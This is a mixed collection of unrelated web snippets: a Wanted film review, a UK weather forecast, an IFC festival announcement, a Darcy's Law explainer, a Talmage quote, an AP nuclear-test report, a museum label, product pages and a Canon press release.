The league of assassins is called "The Fraternity," so we start with "Rush." A nice week where they show you the goods - something you won't be seeing again - and treat you as an equal. In the case of Wanted, a stunt course on a freeway with fast cars and fraternity groupies, the summit of which is Angelina Jolie. Then, once you're hooked, you get hazed. Bekmambetov, like a good fraternity proprietor, likes hazing. In fact, most of Wanted's running time is tinkled away in comic, consequence free bludgeoning. McAvoy gets cut, punched, shot, and insulted relentlessly and every minute of it is viewed joyously. Then, once the pledge has devoted himself, he's forced to commit an act of…

It looks like a case of close but no cigar, in terms of proper heat over the coming week – but it will warm or very warm. There is another but – there will be some heavy, thundery showers around too.
So the long-forecasted build of high pressure from the south is happening, but low pressure will be very close to our west – and this will lead to a fairly unstable atmosphere, so sunshine and warmth, yes, but also the ingredients for heavy, thundery showers – perhaps even outright thunderstorms will be there.
Still scope for upgrades for next week…or downgrades!
Thanks to Paul for the photograph.
Tonight will be fairly cloudy, down to around 8’C.
Friday starts to see high pressure build from the south.
Starting with quite a lot of high cloud, but this will gradually clear to leave good spells of sunshine. Warm, 21’C, maybe 22’C. Mostly clear skies overnight, down to around 7’C.
Saturday sees more good spells of sunshine. Some bits of fair weather cloud, and some high cloud at times – notably later in the afternoon. Warm, 22’C, maybe 23’C. By mid or late evening, some heavy, showery rain will spread up from the south – perhaps with some thunder. Some uncertainty on the track and timing, so perhaps it will miss us but fairly likely to see some heavy, showery rain for some part of the night. No lower than 12’C.
Sunday likely starts cloudy, depending on the timing of the overnight showery rain there could still be some left in the morning, and it could easily be heavy, possible thundery. The sun will come out later in the morning, though perhaps on the hazy side, and there will be a small chance of a thundery downpour during the afternoon. Temperatures reaching somewhere between 21’C and 25’C, depending on sunshine amounts. Uncertain overnight, but the slightly more likely outcome is further heavy, possibly thundery rain moving up from the south, with temperatures no lower than 12’C. This may instead be further east of the UK, and as such we’d have a dry but fairly cloudy night.
For Monday we remain in this warm but unstable flow.
Details a bit sketchy, but broadly some sunny spells, some cloud and one or two scattered afternoon showers – possibly on the heavy side with a small chance of thunder. On the warm side, somewhere between 20’C and 24’C, though the lower side more likely. Probably fairly cloudy but dry overnight, 13’C.
Fairly low confidence for Tuesday, but the more likely outcome is something warmer, say 22’C to 25’C, with some sunshine and some cloud, and a small chance of a shower. A risk of thundery showers in the evening, and perhaps slightly more likely overnight.
I think that is pretty much as far as I can go with any half-respectable level of confidence towards the details.
The more likely general pattern is that the low pressure to our west bringing the warmth and instability, will push the warmth east – though the low pressure itself will be deflected well to the north of the UK, so we should end up in some kind of reload pattern of the high pressure by next weekend…though I’m not yet too confident.
The tricky part is in terms of details in Wednesday to Friday, though broadly they will more likely be relatively fair days, with some sunny spells, some cloud and at least one weather front during the time bringing some showers/showery rain. Temperatures between 19’C and 23’C – though likely feeling fresher.
Wednesday is perhaps the most uncertain day, as we may just cling onto the unstable warmth for another day.
Probably continuing changeable for the rest of May but often warm, and very warm when sunny.

Festival Hosted by Punk Bad Boy John Lydon Featuring
The IFC Original Co-Production “Dario Argento: An Eye for Horror”
With Argento’s “Inferno,” “Blue Velvet,” “River’s Edge,” “After Hours,”
“Repo Man,” “Dawn of The Dead” And Many More
Some are drawn to their boldness. Others are attracted to the eccentric characters and unconventional subjects. Whatever the reason, we think they’ve earned the right to be hailed as cult classics. From April 16 – 22, IFC salutes some of the world’s most offbeat films and underground filmmakers in “IFC’S CULT FILM FESTIVAL.” Hosted by John Lydon (former frontman of the Sex Pistols and Public Image Ltd.), the line-up boasts a devoted following and features films from cultural icons who refused to play by the rules. The festival includes the premieres of the IFC Original Co-Production “Dario Argento: An Eye For Horror,” and Argento’s Inferno as well as Gummo, Repo Man, Performance, River’s Edge, Time Bandits, Blue Velvet, Dawn of the Dead, Re-Animator, Crash, After Hours, Shadows, The Texas Chain Saw Massacre, With Nail & I, The Cook, The Thief, His Wife & Her Lover and the IFC Originals In Bad Taste: The John Waters Story, The American Nightmare and Donald Cammell: The Ultimate Performance.
Punk rock’s answer to Roger Ebert, Lydon and his trademark “John Rotten” scowl will lure audiences into a discussion about the films. In addition to introducing each movie and reviewing cult cinema in general, Lydon has composed an original score for the spots and interstitials, which he describes as “western with a punk rock flair.”
Beginning Monday, April 16 and continuing each night through Sunday, April 22, IFC’s Cult Film Festival is scheduled to air as follows:

Unleashing the Power of Darcy’s Law
When it comes to understanding fluid flow in porous media, Darcy’s Law is the key that unlocks a world of possibilities. Named after the 19th-century French engineer Henry Darcy, this fundamental principle has revolutionized the way we approach a wide range of fields, from hydrology to petroleum engineering. In this article, we will delve into the inner workings of Darcy’s Law, exploring its applications, limitations, and the secrets it holds.
What is Darcy’s Law?
Darcy’s Law is a mathematical equation that describes the flow of fluids through porous media. It establishes the relationship between the flow rate of a fluid, the pressure gradient, and the properties of the porous medium. By understanding this relationship, engineers and scientists can predict and manipulate fluid flow in various scenarios.
Cracking the Code: The Equation
The mathematical representation of Darcy’s Law is elegantly simple:
Q = -kA(dP/dL)
- Q represents the volumetric flow rate of the fluid,
- k is the hydraulic conductivity of the porous medium,
- A is the cross-sectional area through which the fluid flows,
- dP/dL is the pressure gradient along the flow path.
Applications in Hydrology
Darcy’s Law plays a crucial role in hydrology, helping us understand the movement of groundwater through soil and rocks. By measuring the hydraulic conductivity of different materials and analyzing the pressure gradients, hydrologists can predict how contaminants spread, design efficient drainage systems, and even locate potential sources of clean water.
Unveiling the Power in Petroleum Engineering
In the world of petroleum engineering, Darcy’s Law is an indispensable tool for extracting oil and gas from reservoirs. By determining the permeability of the rock formation and evaluating the pressure gradients, engineers can optimize the design of wells, predict production rates, and maximize hydrocarbon recovery.
Breaking Through Limitations
While Darcy’s Law is a powerful concept, it does have its limitations. One of the key assumptions is that the fluid flow is laminar, meaning there are no turbulent effects. Additionally, the law assumes that the fluid is incompressible and that the properties of the porous medium remain constant over time.
Exploring Beyond Darcy’s Law
Over the years, researchers have developed extensions and modifications to Darcy’s Law to account for additional factors such as capillary forces, multiphase flow, and non-linear behavior. These advancements have expanded our understanding and allowed us to tackle more complex fluid flow problems.
Darcy’s Law is the backbone of our understanding of fluid flow in porous media. From hydrology to petroleum engineering, this simple yet powerful principle guides our exploration and exploitation of natural resources. By unraveling the secrets of Darcy’s Law, we can continue to push the boundaries of science and engineering, unlocking new possibilities and improving our world.

The scientific spirit acknowledges without reserve the laws of God, but discriminates between such and the rules made by man. It abhors bigotry, denounces the extravagances of the blind zealot, religious or otherwise, and seeks to perfect the faith of its possessor as a purified, sanctified power, pleasing alike mind and heart, reason and soul. In the charges that have been preferred by the theologians against science, and the counter accusations by the scientists against theology, it is evident that in each case the accuser is not fully informed as to what he is attacking. Irrational zeal is not to be commended; and the substitution of theory for fact, though often declared to be the prevailing weakness of the scientist, is wholly unscientific.
But it is easy to denounce; so to do is a favorite pastime of ignorance. That scientific theories have been and are being discarded as unworthy because untrue is well known; but no one is more ready to so renounce than the scientist himself. To him a theory is but a scaffolding whereon he stands while placing the facts which are his building blocks; and from these he rears the tower from which a wider horizon of truth is opened to his eye. When the structure is made, the scaffold,- unsightly, shaky, and unsafe, as it is likely to be, is removed. Tis not always possible to judge of the building from the rough poles and planks which serve the temporary purpose of him who builds. Yet how often may we hear from our pulpits, usually however when they are occupied by the little-great men, scathing denunciations of science, which is represented as a bundle of vagaries, and of scientific men, who are but Will-o-the-wisps enticing the traveler into quagmires of spiritual ruin. Would it not be better for those who so inveigh to acquaint themselves with at least the first principles of the doctrines of science? So general has this practice become amongst us, that the most inexperienced speaker feels justified in thus indulging himself, and in the minds of many the conclusion is reached, none the less pernicious in its present effects because unfounded, that the higher development of the intellect is not a part of the Gospel of Christ.
James E. Talmage ("The Methods and Motives of Science") This address was delivered in the Logan Temple about 12 years before he became an apostle. It also was published in The Improvement Era 1900, Volume 3.

SEOUL, South Korea (AP) — North Korea is believed to have conducted a widely anticipated nuclear test Tuesday, following an earthquake that monitoring agencies around the globe said appeared to be unnatural.
The South Korean Defense Ministry, which raised its military alert level after the quake, said it was trying to determine whether it was a test. Nuclear blasts can create tremors but they are distinct from those caused by natural earthquakes.
A world nuclear test monitoring organization detected what it called an “unusual seismic event” in North Korea.
“The event shows clear explosion-like characteristics and its location is roughly congruent with the 2006 and 2009 DPRK nuclear tests,” said Tibor Tsth, the executive secretary of the Comprehensive Nuclear Test Ban Treaty Organization. The DPRK refers to North Korea’s formal name, the Democratic People’s Republic of Korea.
“If confirmed as a nuclear test, this act would constitute a clear threat to international peace and security, and challenges efforts made to strengthen global nuclear disarmament and non-proliferation, in particular by ending nuclear testing,” Tsth said.
Kim Min-seok, a South Korean Defense Ministry spokesman, told reporters that North Korea informed China and the United States of its plans to conduct a nuclear test. It was not clear when Pyongyang told Beijing and Washington.
The U.S. Geological Survey as well as earthquake monitoring stations in South Korea detected an earthquake just north of a site where North Korea conducted its second nuclear test in 2009, according to the government-funded Korea Institute of Geoscience and Mineral Resources.

Siena 1284 - Avignon 1344
oil on panel
24 x 15 cm
Inventory number 257-260
Originally, these four scenes were part of a polyptych. The work, by Italian painter
Simone Martini, was an evocation of two key passages from the New Testament.
Mary and the angel
Gabriel, who were depicted on the reverse sides, represent the Annunciation, the
announcement to Mary of the Incarnation.
Calvary and the
Descent from the Cross thematise the death of Christ.
In the left of Calvary, the Roman soldier Longinus plants his spear into the side of the crucified Christ. Only when the blood from the wound drips into his eyes does Longinus recognise Christ as the Son of God. As does the Roman centurion to the right, who points at Christ and says: "Truly this was the Son of God" (Matthew 27: 54). Quite striking are the highly emotive representations of Mary Magdalene at the foot of the cross and the women on the left who are consoling Mary. The emphasis is on physical, visible suffering rather than on psychological pain. A similar expressiveness characterises the witnesses to the Descent from the Cross.
Simone Martini painted these small panels as parts of a portable altarpiece. The Carrying of the Cross and The Entombment, which are in the collection of respectively the Louvre in Paris and Staatliche Museen in Berlin, are thought also to have belonged to this private devotional altar. It was most probably commissioned by Cardinal Napoleone Orsini, who appears as a kneeling figure in one of the four scenes.

Dogs Sofa Beds
If there is one item that you should choose carefully, it is without a doubt your dog’s bed. Indeed, most dogs will spend almost 80% of their time in their bed, whether sleeping or relaxing. A well-rested dog means a happy dog ready to take on adventures with their favorite human being(s). This is the reason why, we at Lord Lou, have a passion for pet furniture, more specifically for dog sofa beds. From baroque luxury dog sofa beds to puppy sofa beds, we have an extensive range of framed dog beds.
Lord Lou was born from a love for both pets and interior design. By combining our passions, we naturally started to specialize in couch beds for dogs which match the owner’s own couch and home interior. Because we believe pets deserve the same luxury as we do, we use only superior grade fabrics that are used for human furniture. Whether your furry family includes a Great Dane or a Chihuahua, we designed and created our pet sofas in every size, going from small sofa dog beds to extra-large ones. You will also find the best dog beds here.
Our collection of luxury sofa dog beds varies in styles, shapes, and materials. These variations are all designed to serve a purpose. For instance, some sofa beds are made with an elevated frame for dogs that enjoy an extra sense of safety, prefer to stay away from draft or really just want to copy their owner by sitting higher as well. Other sofas for dogs are made entirely from vegan leather. Whatever your dog’s preferences and your home interior style we have a matching dog bed made for the both of you.
Frequently Asked Questions (FAQs):
What kind of materials are used to make sofas for dogs?
Most of our sofa dog beds have a sturdy sustainably sourced wooden base with different finishes. The cushions or upholstery come in different materials such as velvet, linen or even cotton canvas. Every material passes a high-grade Martindale test and will resist any paws. Lord Lou also offers leather sofa dog beds for the ones in search of that extra luxury feeling.
How are your dog sofa beds made?
All our dog sofas are made by expert hands and are a result of passionate craftsmanship. Hours go into every single dog bed and are locally made in our atelier based in Europe.
How to choose between a dog couch bed and a soft bed?
All dogs are different and so is everyone’s home interior. At Lord Lou we offer both types of beds, which we make sure to be evenly comfortable. Even though soft beds are the ideal place to lay down for a nap, we notice most dogs tend to look for a more secure and safe spot. The elevation of the frame combined with an enclosed shape will make your dog feel protected and thus more at ease. We however believe that your pet will enjoy more than one place to rest, so why not combine both?

text: Priced at £5,000. This extremely smart & most rare Cotton dates from 1965, production of the Messenger model officially finished at the end of the 1964 season, but apparently was available to special order during 1965, possibly due to some 3T engine still being in stock at the factory. This particularly attractive bike has come to us from a good friend from Ipswich who part exchanged it for a larger BSA. He used the machine to ride to lots of local events, proving itself to be reliable. During the the last few years an awful lot of money has been spent bringing the bike up to the standard you see hear. Work included an engine rebuild by Villiers Services. There is a wallet file packed with invoices/ receipts, past MOT certificates, a letter from Roy Bacon confirming the Cotton's authenticity, as well as some other paperwork (see photographs below). Comes with the latest DVLA V5C registration document, is registered under the 'Historic Vehicle' class for free road tax & has the advantage of being MOT exempt.

Canon Europe announces the release of a new free-of-charge firmware update for the EOS C500 Mark II, further enhancing the camera’s professional functionality.
The firmware update adds 12-bit Cinema RAW Light formats: LT (Light), ST (Standard) and HQ (High Quality), improving workflow flexibility and providing more options post-production.
Previously made available for the EOS R5 C and EOS C70, this highly requested feature allows users to select a scalable range of internal RAW recording data rates that either further enhance the fidelity of the sensor output or reduce file sizes – all while maintaining the high quality 12-bit colour information.
The EOS C500 Mark II features a 5.9K full frame sensor, internal RAW recording, interchangeable lens mount and highly configurable modular design.
The camera is a popular choice for television and cinematic productions due to its impressive image quality, extensive connectivity, and compact body.
Aron Randhawa, Senior Product Specialist at Canon Europe, said:
“Cinema RAW Light is continually evolving and has a clear advantage over heavily compressed formats, especially for colour grading and VFX pipelines. All three scalable new formats are 12-bit, even at higher frame rates, with no chroma subsampling, enabling cinematographers to unleash the full capability of their production camera.”

Aftermarket tunes will provide similar increases in horsepower, torque, throttle response, and overall performance to manual and automatic Mustangs.
The perceived difference in gains comes from the difference in the way that the transmission computer is calibrated for shift times and duration.
However, this can typically be compensated for with a little practice on timing your manual shifts when driving.
The bottom line:
Manual and automatic Mustang owners can expect to enjoy the same high-performance benefits from applying an aftermarket tune to their vehicle.


Although it is not customary for a company like Sharp (well known in the technology sector, by the way) to launch or introduce products such as electronic dictionaries, especially since we have seldom been told of any such release.
But there’s always a first time, do not you think? Precisely for this reason, today we have been able to find out about the launch of the new Sharp RD-PM10, which comes in first place with an external appearance very nice and appropriate.
In what has to do with their performance or specifications, we find that has a full touch LCD screen 4.3″ WQVGA resolution, the function has Text-To-Speech, and has built a total of 128 different electronic dictionaries.
As is also usual, can also play audio in MP3 format, or read e-Books. Preferred as gift for this year’s friendship day.
